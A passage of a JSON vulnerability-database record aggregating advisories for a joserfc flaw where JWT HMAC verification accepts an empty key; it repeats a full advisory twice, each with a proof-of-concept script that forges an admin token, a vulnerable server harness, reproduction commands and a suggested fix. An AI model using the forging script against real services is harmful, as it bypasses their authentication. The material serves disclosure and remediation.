112 bits\", SecurityWarning)\n    return key\n```\n\nThe `\u003c 14` check only warns; `len(key.raw_value) == 0` falls through and is\nreturned to the caller. `HMACAlgorithm.verify` then calls\n`hmac.compare_digest(sig, hmac.new(b\"\", signing_input, sha256).digest())`,\nand Python's `hmac.new(b\"\", ...)` accepts the empty key.\n\nCross-language sibling of ruby-jwt's fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb):\n\n```ruby\ndef ensure_valid_key!(key)\n  raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)\n  raise_verify_error!('HMAC key cannot be empty') if key.empty?\nend\n```\n\ninvoked from both `sign(signing_key:)` and `verify(verification_key:)`.\nPyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key`\nraises `InvalidKeyError(\"HMAC key must not be empty.\")` for `len(key_bytes) == 0`).\nfirebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a\n256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the\nstrongest existing length-warning logic but stops at `\u003c 14 bytes` warn\nrather than `== 0` reject.\n\n### How an empty `JWT_SECRET` reaches `hmac.new`\n\n1. The application calls `joserfc.jwt.decode(value, key, algorithms=[\"HS256\"])`\n   where `key = OctKey.import_key(\"\")` (or `OctKey.import_key(b\"\")`,\n   or any custom path that yields an `OctKey` whose `raw_value` is `b\"\"`).\n2. `decode` ([`src/joserfc/jwt.py:86-117`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jwt.py#L86-L117)) calls `_decode_jws(...)` →\n   `deserialize_compact(value, key, algorithms, registry)`.\n3. `deserialize_compact` ([`src/joserfc/jws.py`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jws.py)) dispatches to\n   `HMACAlgorithm.verify(signing_input, signature, key)`.\n4. `verify` calls `key.get_op_key(\"verify\")` → returns `b\"\"`.\n5. `hmac.new(b\"\", signing_input, sha256).digest()` is computed; the\n   attacker computed exactly that digest with the same empty key, so\n   `hmac.compare_digest` returns `True` and decode succeeds.\n\nNo upstream `nil`-check, no length check, no schema rejection. The path is\nreached from the public `joserfc.jwt.decode` API.\n\n### Proof of concept\n\nAttacker (no secret knowledge):\n\n```python\nimport base64, hmac, hashlib, json, time\ndef b64url(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\nnow = int(time.time())\npayload = b64url(json.dumps({\n    \"sub\": \"attacker\", \"admin\": True,\n    \"iat\": now, \"exp\": now + 600,\n}).encode())\nsigning_input = header + b\".\" + payload\nsig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\nforged = signing_input + b\".\" + b64url(sig)\nprint(forged.decode())\n```\n\nServer harness:\n\n```python\n# server.py\nfrom joserfc import jwt\nfrom joserfc.jwk import OctKey\nimport os\nfrom wsgiref.simple_server import make_server\n\ndef app(environ, start_response):\n    auth = environ.get(\"HTTP_AUTHORIZATION\", \"\")\n    token = auth[len(\"Bearer \"):].strip() if auth.startswith(\"Bearer \") else \"\"\n    key = OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))  # default = \"\"\n    try:\n        tok = jwt.decode(token, key, algorithms=[\"HS256\"])\n        c = tok.claims\n        body = (\"OK: sub=%r admin=%r\\n\" % (c.get(\"sub\"), c.get(\"admin\"))).encode()\n        start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n        return [body]\n    except Exception as e:\n        start_response(\"401 Unauthorized\", [(\"Content-Type\", \"text/plain\")])\n        return [(\"DENY: %s\\n\" % e).encode()]\n\nmake_server(\"127.0.0.1\", 8383, app).serve_forever()\n```\n\n### End-to-end reproduction (against `pip install joserfc==1.6.7`)\n\n```bash\n# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret\n#    state.\npython3.12 -m venv venv\n./venv/bin/pip install joserfc==1.6.7\n./venv/bin/python server.py \u0026   # listens on :8383\n\n# 2. Run the attacker\n./venv/bin/python attacker.py\n```\n\nCaptured run output (canonical pre-fix run, joserfc 1.6.7,\n`poc-attacker-empty-20260523-150949.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY\nHTTP 200\nOK: sub='attacker' admin=True\n```\n\nControl (real 256-bit secret, `poc-control-realkey-20260523-150959.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYi...\nHTTP 401\nDENY: BadSignatureError: bad_signature:\n```\n\nInterpretation:\n\n| Configuration                | Observed                            | Expected |\n|------------------------------|-------------------------------------|----------|\n| `JWT_SECRET` unset (== \"\")   | HTTP 200, `admin=True` (verified)   | HTTP 401 |\n| `JWT_SECRET` = 256-bit value | HTTP 401, `BadSignatureError`       | HTTP 401 |\n\nThe first row demonstrates that an attacker with zero knowledge of the\nverification secret reaches the protected path by signing with the empty\nkey. The second row confirms the verifier behaves correctly when the\nsecret is non-empty, proving the bug is gated only on the secret being\nempty rather than on any structural defect in the attacker's token.\n\nFix verification: with the suggested empty-key reject wired into\n`HMACAlgorithm.sign` / `.verify`, the empty-secret server re-run rejects\nthe same forged token with `ValueError: HMAC key must not be empty`.\n\n### Impact\n\n- Complete authentication bypass on any service whose key finder resolves\n  to `\"\"` / `None` (env var unset, DB row missing, fallback). Attacker\n  forges arbitrary claims (`sub`, `admin`, scopes, audience, expiry).\n- The misconfiguration that triggers the bug is silent: the server does\n  not fail to boot, joserfc emits a single `SecurityWarning` (\"Key size\n  should be \u003e= 112 bits\") at `OctKey.import_key` time and then proceeds.\n- Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).\n  CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the\n  operator-misconfiguration precondition; impact otherwise matches\n  authentication bypass.\n\n### Suggested fix\n\nUpgrade the existing `\u003c 14 bytes` warning in `OctKey.import_key` to a hard\nreject at `len(key.raw_value) == 0`, plus a defence-in-depth check in\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` after\n`key.get_op_key(...)`:\n\n```python\n# src/joserfc/_rfc7518/oct_key.py\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n    if not key.raw_value:\n        raise ValueError(\"oct key material must not be empty\")\n    if len(key.raw_value) \u003c 14:\n        warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n    return key\n\n# src/joserfc/_rfc7518/jws_algs.py\nclass HMACAlgorithm(JWSAlgModel):\n    ...\n    def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n        op_key = key.get_op_key(\"sign\")\n        if not op_key:\n            raise ValueError(\"HMAC key must not be empty\")\n        return hmac.new(op_key, msg, self.hash_alg).digest()\n\n    def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n        op_key = key.get_op_key(\"verify\")\n        if not op_key:\n            raise ValueError(\"HMAC key must not be empty\")\n        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n        return hmac.compare_digest(sig, v_sig)\n```\n\nThe two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in\n`prepare_key`, plus the runtime length checks the underlying hmac\nprimitive does not perform).\n\n### Fix PR\n\n`authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1` (temp private fork PR), branch\n`fix/hmac-reject-empty-key`, base `main`. URL:\nhttps://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1\n\n### Credit\n\nReported by tonghuaroot.","status":"published","published":"2026-07-02T19:12:08Z","modified":"2026-09-10T03:50:52.107071179Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1391","CWE-287","CWE-326"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"PYSEC-2026-2528","title":"joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)","description":"### Summary\n\n`joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the\ncaller-supplied verification key is the empty string or `None`.\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` in\n[`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever\n`OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key`\nonly emits a `SecurityWarning` when the raw key is shorter than 14 bytes\nwithout rejecting zero-length input. Any application whose JWT secret is\nsourced from an unset environment variable, an unset Redis / DB row, a key\nfinder fallback that returns `\"\"`, or a `Hash.new(\"\")`-style default verifies\nattacker tokens forged with `HMAC(key=b\"\", signing_input)` because the\nattacker trivially reproduces the same digest with no secret knowledge.\n\nThis is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /\nCVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,\nfiled 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition\nthat rejects empty keys at both sign and verify entry; joserfc has no\nequivalent. (The same primitive lives in the deprecated `authlib.jose`\nmodule by the same maintainer; filing this advisory against joserfc\nalongside a separate `authlib` advisory because the codebases are\nindependent shipping artifacts on PyPI.)\n\n### Affected versions\n\n`joserfc` (PyPI) `\u003c= 1.6.7` (latest published release reproduces). No\npatched release.\n\n### Privilege required\n\nUnauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode`\nwith a verification key sourced from configuration is reachable. The\ncondition that makes the bug observable is operator-side: the configured\nsecret resolves to `\"\"` or `None`. Common patterns that produce this state\nin production:\n\n- `OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))`\n- A key finder callable that returns `\"\"` / `None` for an unknown `kid`\n- Default values like `os.getenv(\"SECRET\") or \"\"`, `cfg.get(\"secret\", \"\")`\n- Database / Redis row lookup that returns `\"\"` for a missing row\n\n### Vulnerable code\n\n[`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70):\n\n```python\nclass HMACAlgorithm(JWSAlgModel):\n    SHA256 = hashlib.sha256\n    SHA384 = hashlib.sha384\n    SHA512 = hashlib.sha512\n\n    def __init__(self, sha_type, recommended=False):\n        self.name = f\"HS{sha_type}\"\n        self.description = f\"HMAC using SHA-{sha_type}\"\n        self.recommended = recommended\n        self.hash_alg = getattr(self, f\"SHA{sha_type}\")\n        self.algorithm_security = sha_type\n\n    def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n        op_key = key.get_op_key(\"sign\")\n        return hmac.new(op_key, msg, self.hash_alg).digest()\n\n    def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n        op_key = key.get_op_key(\"verify\")\n        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n        return hmac.compare_digest(sig, v_sig)\n```\n\n[`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63):\n\n```python\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n    if len(key.raw_value) \u003c 14:\n        # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final\n        warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n    return key\n```\n\nThe `\u003c 14` check only warns; `len(key.raw_value) == 0` falls through and is\nreturned to the caller. `HMACAlgorithm.verify` then calls\n`hmac.compare_digest(sig, hmac.new(b\"\", signing_input, sha256).digest())`,\nand Python's `hmac.new(b\"\", ...)` accepts the empty key.\n\nCross-language sibling of ruby-jwt's fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb):\n\n```ruby\ndef ensure_valid_key!(key)\n  raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)\n  raise_verify_error!('HMAC key cannot be empty') if key.empty?\nend\n```\n\ninvoked from both `sign(signing_key:)` and `verify(verification_key:)`.\nPyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key`\nraises `InvalidKeyError(\"HMAC key must not be empty.\")` for `len(key_bytes) == 0`).\nfirebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a\n256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the\nstrongest existing length-warning logic but stops at `\u003c 14 bytes` warn\nrather than `== 0` reject.\n\n### How an empty `JWT_SECRET` reaches `hmac.new`\n\n1. The application calls `joserfc.jwt.decode(value, key, algorithms=[\"HS256\"])`\n   where `key = OctKey.import_key(\"\")` (or `OctKey.import_key(b\"\")`,\n   or any custom path that yields an `OctKey` whose `raw_value` is `b\"\"`).\n2. `decode` ([`src/joserfc/jwt.py:86-117`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jwt.py#L86-L117)) calls `_decode_jws(...)` →\n   `deserialize_compact(value, key, algorithms, registry)`.\n3. `deserialize_compact` ([`src/joserfc/jws.py`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jws.py)) dispatches to\n   `HMACAlgorithm.verify(signing_input, signature, key)`.\n4. `verify` calls `key.get_op_key(\"verify\")` → returns `b\"\"`.\n5. `hmac.new(b\"\", signing_input, sha256).digest()` is computed; the\n   attacker computed exactly that digest with the same empty key, so\n   `hmac.compare_digest` returns `True` and decode succeeds.\n\nNo upstream `nil`-check, no length check, no schema rejection. The path is\nreached from the public `joserfc.jwt.decode` API.\n\n### Proof of concept\n\nAttacker (no secret knowledge):\n\n```python\nimport base64, hmac, hashlib, json, time\ndef b64url(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\nnow = int(time.time())\npayload = b64url(json.dumps({\n    \"sub\": \"attacker\", \"admin\": True,\n    \"iat\": now, \"exp\": now + 600,\n}).encode())\nsigning_input = header + b\".\" + payload\nsig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\nforged = signing_input + b\".\" + b64url(sig)\nprint(forged.decode())\n```\n\nServer harness:\n\n```python\n# server.py\nfrom joserfc import jwt\nfrom joserfc.jwk import OctKey\nimport os\nfrom wsgiref.simple_server import make_server\n\ndef app(environ, start_response):\n    auth = environ.get(\"HTTP_AUTHORIZATION\", \"\")\n    token = auth[len(\"Bearer \"):].strip() if auth.startswith(\"Bearer \") else \"\"\n    key = OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))  # default = \"\"\n    try:\n        tok = jwt.decode(token, key, algorithms=[\"HS256\"])\n        c = tok.claims\n        body = (\"OK: sub=%r admin=%r\\n\" % (c.get(\"sub\"), c.get(\"admin\"))).encode()\n        start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n        return [body]\n    except Exception as e:\n        start_response(\"401 Unauthorized\", [(\"Content-Type\", \"text/plain\")])\n        return [(\"DENY: %s\\n\" % e).encode()]\n\nmake_server(\"127.0.0.1\", 8383, app).serve_forever()\n```\n\n### End-to-end reproduction (against `pip install joserfc==1.6.7`)\n\n```bash\n# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret\n#    state.\npython3.12 -m venv venv\n./venv/bin/pip install joserfc==1.6.7\n./venv/bin/python server.py \u0026   # listens on :8383\n\n# 2. Run the attacker\n./venv/bin/python attacker.py\n```\n\nCaptured run output (canonical pre-fix run, joserfc 1.6.7,\n`poc-attacker-empty-20260523-150949.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY\nHTTP 200\nOK: sub='attacker' admin=True\n```\n\nControl (real 256-bit secret, `poc-control-realkey-20260523-150959.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYi...\nHTTP 401\nDENY: BadSignatureError: bad_signature:\n```\n\nInterpretation:\n\n| Configuration                | Observed                            | Expected |\n|------------------------------|-------------------------------------|----------|\n| `JWT_SECRET` unset (== \"\")   | HTTP 200, `admin=True` (verified)   | HTTP 401 |\n| `JWT_SECRET` = 256-bit value | HTTP 401, `BadSignatureError`       | HTTP 401 |\n\nThe first row demonstrates that an attacker with zero knowledge of the\nverification secret reaches the protected path by signing with the empty\nkey. The second row confirms the verifier behaves correctly when the\nsecret is non-empty, proving the bug is gated only on the secret being\nempty rather than on any structural defect in the attacker's token.\n\nFix verification: with the suggested empty-key reject wired into\n`HMACAlgorithm.sign` / `.verify`, the empty-secret server re-run rejects\nthe same forged token with `ValueError: HMAC key must not be empty`.\n\n### Impact\n\n- Complete authentication bypass on any service whose key finder resolves\n  to `\"\"` / `None` (env var unset, DB row missing, fallback). Attacker\n  forges arbitrary claims (`sub`, `admin`, scopes, audience, expiry).\n- The misconfiguration that triggers the bug is silent: the server does\n  not fail to boot, joserfc emits a single `SecurityWarning` (\"Key size\n  should be \u003e= 112 bits\") at `OctKey.import_key` time and then proceeds.\n- Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).\n  CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the\n  operator-misconfiguration precondition; impact otherwise matches\n  authentication bypass.\n\n### Suggested fix\n\nUpgrade the existing `\u003c 14 bytes` warning in `OctKey.import_key` to a hard\nreject at `len(key.raw_value) == 0`, plus a defence-in-depth check in\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` after\n`key.get_op_key(...)`:\n\n```python\n# src/joserfc/_rfc7518/oct_key.py\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n    if not key.raw_value:\n        raise ValueError(\"oct key material must not be empty\")\n    if len(key.raw_value) \u003c 14:\n        warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n    return key\n\n# src/joserfc/_rfc7518/jws_algs.py\nclass HMACAlgorithm(JWSAlgModel):\n    ...\n    def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n        op_key = key.get_op_key(\"sign\")\n        if not op_key:\n            raise ValueError(\"HMAC key must not be empty\")\n        return hmac.new(op_key, msg, self.hash_alg).digest()\n\n    def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n        op_key = key.get_op_key(\"verify\")\n        if not op_key:\n            raise ValueError(\"HMAC key must not be empty\")\n        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n        return hmac.compare_digest(sig, v_sig)\n```\n\nThe two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in\n`prepare_key`, plus the runtime length checks the underlying hmac\nprimitive does not perform).\n\n### Fix PR\n\n`authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1` (temp private fork PR), branch\n`fix/hmac-reject-empty-key`, base `main`. URL:\nhttps://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1\n\n### Credit\n\nReported by tonghuaroot.","status":"published","published":"2026-07-13T15:46:27.346994Z","modified":"2026-07-13T16:31:58.665037685Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:55.961245Z"},{"id":"RHSA-2026:42045","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-08-19T10:18:51Z","modified":"2026-10-16T10:17:44Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:20.491441Z"},{"id":"UBUNTU-CVE-2026-49852","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.6.8, joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None, because HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/_rfc7518/jws_algs.py pass the output of OctKey.get_op_key(...) to hmac.new(...) and OctKey.import_key in src/joserfc/_rfc7518/oct_key.py only emits a SecurityWarning for keys shorter than 14 bytes without rejecting zero-length input. This issue is fixed in version 1.6.8.","status":"published","published":"2026-07-17T20:17:00Z","modified":"2026-07-29T10:18:35.559260524Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:56:33.391918Z"},{"id":"openSUSE-SU-2026:11183-1","title":"python313-joserfc-1.7.2-2.1 on GA media","description":"These are all security issues fixed in the python313-joserfc-1.7.2-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-07-04T00:00:00Z","modified":"2026-07-05T14:15:04.214193319Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"openSUSE-SU-2026:21263-1","title":"Security update for python-joserfc","description":"This update for python-joserfc fixes the following issues:\n\nChanges in python-joserfc:\n\n- CVE-2026-49852: HS256/HS384/HS512 verify accepts empty/nil HMAC key (bsc#1270234)\n","status":"published","published":"2026-07-06T09:01:24Z","modified":"2026-07-09T18:24:15.24701851Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"ROOT-APP-PYPI-CVE-2026-49852","title":"CVE-2026-49852 in rootio-joserfc - Patched by Root","description":"Root has patched CVE-2026-49852 in the rootio-joserfc package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-07-07T13:10:05Z","modified":"2026-07-07T19:45:04.482532909Z","updated_at":"2026-11-02T15:53:28.259095Z"}]}}
